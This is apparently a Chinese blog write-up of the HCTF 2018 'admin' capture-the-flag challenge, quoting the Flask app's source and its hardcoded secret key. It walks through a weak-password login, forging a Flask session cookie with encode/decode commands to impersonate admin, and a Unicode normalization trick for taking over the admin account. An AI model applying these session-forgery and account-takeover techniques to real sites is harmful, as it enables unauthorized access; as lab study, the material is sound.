HCTF_2018 admin


[HCTF 2018]admin

进入页面,弱密码登录竟然成功了,得到了flag

还是看看这道题的考点

首页源代码中<!-- you are not admin -->

想试试二次注入好像不行

随便注册一个账号登录

登录后post里面试一下xss,也不行

那就change password得到<!-- https://github.com/woadsl1234/hctf_flask/ -->

下载,好像是源码,python我也不太懂

接下来参考别人的wp

弱密码

123,哈哈

flask session伪造

index.html

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

{% if current_user.is_authenticated and session['name'] == 'admin' %}

这说的是传入的seesion=admin就会执行后面的,意思差不都是登录admin,显示flag

routes.py

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

flask是用python写的web框架,session以cookie形式存在客户端

接下来解码,再伪造session

拿到session

session:
.eJxFUM9rwjAU_lfGO3toQ70IXkatOHgvVNKGl4s4rbZp4qBV1Ij_-4Ib2_n7_T1gcxiasYXZebg0E9h0e5g94O0TZoCWU6nLK_rqjp4DWbKsyzvZPpOKnNRFT2IhZF5luOSb8ZyQLjyFtpXKucgLMi981AQMq4zVUVDeT03Od7YrQdZZ4xeB9fqHvzQew75F9eHJVkEuyykpvKEvE6ljdlhELSYm7wWHdWvUTlDYd6iqOTwnsBuHw-b81Tenvwmka4e6cLFChmqXGBXtremkNg5trGPfLfuiN7ZMWVWJ0euOr_OXXee3x-b_DFFn9S9y2voIQAoTuIzN8PoM0gSe3-wTbLg.YGAkfw.j_uEzvi-2vEKxpp7Xzgj-Iyw1bc

还需要SECRET_KEY

config.py

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY:ckj123

脚本:noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

跑一下,得到

python flask_session_cookie_manager3.py decode -s ckj123 -c .eJxFUMFqwkAQ_ZUyZw9GzSXgQUgTFGZCwsZl9yLWxmQnuylERV3x37u10B4ew_B4b968B-yOY3PqIDmPl2YCO_MJyQPePiAB5PJOEqeK3-MiVbGSG4Mz6khsGblzStYzdFWHYhX_TO20wYBCVJbk-oq5iimtWIn-hrwOaO_kNlaJ4CMzq7iOtMuc8ngrpO606KyWlS0kOeJyXqSrK84yR6maY54Z8kEXNMQHrzjcyMPubY--XMJzAofTeNydv_pm-HuB0nqBvJoG2UJLddOcGS23PabWkNQOfe9JtPcir2NiHaJlFsvly864fdv8lzFsBt3-MsPeBQIimMDl1IyvziCawvMb0RFtXA.YGBYaw.SFJ0fvQ_rtos-TSz52cCzIIkQVY

{'_fresh': True, '_id': b'2425c4b19869abb3ca55c28fae62da1092daffb2fb94e5b00f944ca912212826bea2b1aeb55fafc319fae8eede9cf6478003af4670ab72b255673b4e4bb39d34', 'csrf_token': b'458204258ef1f1beed09b5ff3935828e966ea1e1', 'image': b'2rgf', 'name': '1', 'user_id': '10'}

name的值改为admin,编码

python flask3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'2425c4b19869abb3ca55c28fae62da1092daffb2fb94e5b00f944ca912212826bea2b1aeb55fafc319fae8eede9cf6478003af4670ab72b255673b4e4bb39d34', 'csrf_token': b'458204258ef1f1beed09b5ff3935828e966ea1e1', 'image': b'2rgf', 'name': 'admin', 'user_id': '10'}"

.eJxFUMuKwkAQ_JWlzx7iIxfBg5BNUOgOCROHmYv4iMl0ZrIQFXXEf99ZF3YPRdMUVV1dT9iehvrcwvwyXOsRbM0R5k_42MMckIsHSYwUf8Z5omIl1wYn1JLYMHLrlKwm6MoWxTL-mdppgwG5KC3J1Q0zFVNSshLdHXkV0DzIra0SwUemVnE11i51yuM9l7rVorValjaX5IiLaZ4sbzhJHSVqillqyAdd0BAfvOJwIwu7tx36YgGvERzOw2l7-erq_u8FSqoZ8jIKspmW6q45NVpuOkysIakd-s6TaB55VsXEOkRLLRaLt51xu6b-L6Nf97r5ZfqdCwTsjs70MILruR7evcE4gtc3l5pvNA.YGBhyg.8mFsYTGotorfD6H7bsHdSTnxKQ4

然后用burp抓包,传入修改的session,得到flag

Unicode欺骗

利用解码机制,传入一个非预期的值得到预期的结果

引用上面routes.py

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这几个模块中都调用了nodeprep.prepare这个函数

查阅资料

nodeprep.prepare这个函数会把大写转换为小写 并且会做如下转换
假如有一个字符 第一次调用函数时会造成ᴬ->A,第二次调用时会A->a
所以思路就是 我们注册一个ᴬdmin账号 此时第一次调用nodeprep.prepare 账号变为
Admin,在修改密码,会再次调用nodeprep.prepare,这是就变成了admin

再用改的密码登录admin就成功了

c9ERk4.png


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录